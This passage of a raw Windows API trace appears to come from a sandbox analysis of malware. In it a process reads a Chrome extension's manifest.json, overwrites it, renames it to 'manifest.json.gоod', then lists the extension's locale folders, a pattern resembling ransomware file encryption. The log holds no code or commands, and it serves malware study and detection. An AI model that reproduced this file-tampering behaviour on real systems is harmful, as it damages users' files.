ftCreationTime.dwLowDateTime=0x5606810f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566a4be6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c8ea44, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d5)) returned 1 [0270.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0270.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0270.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.959] GetFileType (hFile=0x86c) returned 0x1 [0270.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.959] GetFileType (hFile=0x86c) returned 0x1 [0270.959] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0x2d5 [0270.959] ReadFile (in: hFile=0x86c, lpBuffer=0x3862fa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x3862fa8*, lpNumberOfBytesRead=0x1f6e8aa8*=0x2d5, lpOverlapped=0x0) returned 1 [0271.350] CloseHandle (hObject=0x86c) returned 1 [0271.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0271.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0271.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0271.392] GetFileType (hFile=0x86c) returned 0x1 [0271.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0271.392] GetFileType (hFile=0x86c) returned 0x1 [0271.392] WriteFile (in: hFile=0x86c, lpBuffer=0x3974128*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x3974128*, lpNumberOfBytesWritten=0x1f6e89b8*=0x2e0, lpOverlapped=0x0) returned 1 [0271.393] CloseHandle (hObject=0x86c) returned 1 [0271.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0271.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.gоod", lpFilePart=0x0) returned 0x82 [0271.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0271.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5606810f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566a4be6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9df9434c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0)) returned 1 [0271.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0271.393] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.gоod")) returned 1 [0271.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8340) returned 1 [0271.395] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", nBufferLength=0x105, lpBuffer=0x1f6e7de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpFilePart=0x0) returned 0x78 [0271.395] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x1f6e8060 | out: lpFindFileData=0x1f6e8060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5608f216, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5667195d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5667195d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0272.015] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5608f216, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5667195d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5667195d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.048] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560a9fcc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dad1e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x560dad1e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0272.048] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5611a4d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561219ea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561219ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0272.048] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56137987, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5613c7ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5613c7ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0272.048] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56174a36, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5618f7e3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5618f7e3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0272.049] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561cc89c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561d64d7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561d64d7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0272.049] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562246ef, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5622e32d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5622e32d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0272.049] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5623cd95, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5624b7fc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5624b7fc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0272.049] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56263e9f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56272906, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56272906, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0272.049] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56286189, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5628fdcb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5628fdcb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0272.049] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562ad293, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x562b20b9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x562b20b9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562f8d9b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563002cd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563002cd, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5630c622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56316267, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56316267, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5632e909, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56333738, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56333738, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563496bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5634e4de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5634e4de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5635a83f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56361d71, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56361d71, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563755ef, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5637cb1d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5637cb1d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56384050, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56392aa4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56392aa4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5639c6fc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563a151b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563a151b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563a8a4d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563ad873, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563ad873, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563c3806, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563cad35, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563cad35, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563d2264, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563d708c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563d708c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563ed029, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563f4555, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563f4555, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563fba87, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5640a4eb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5640a4eb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0272.052] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56418f4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5641b678, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5641b678, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0272.052] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x564252a4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56438b24, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56438b24, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0272.052] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56442769, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5644758b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5644758b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0272.052] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5644eaba, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5646bf7f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5646bf7f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0272.052] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56475bc7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5647d0e1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5647d0e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0272.052] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x564ba19d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x564bc8b0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x564bc8b0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0272.052] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x564c64ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x564cda1a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x564cda1a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0272.053] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565b805d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565bce86, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565bce86, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0272.053] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565cb8ed, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565d070f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565d070f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0272.053] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565dca51, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565e1886, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565e1886, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0272.053] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565e8db2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565f29fa, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565f29fa, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, 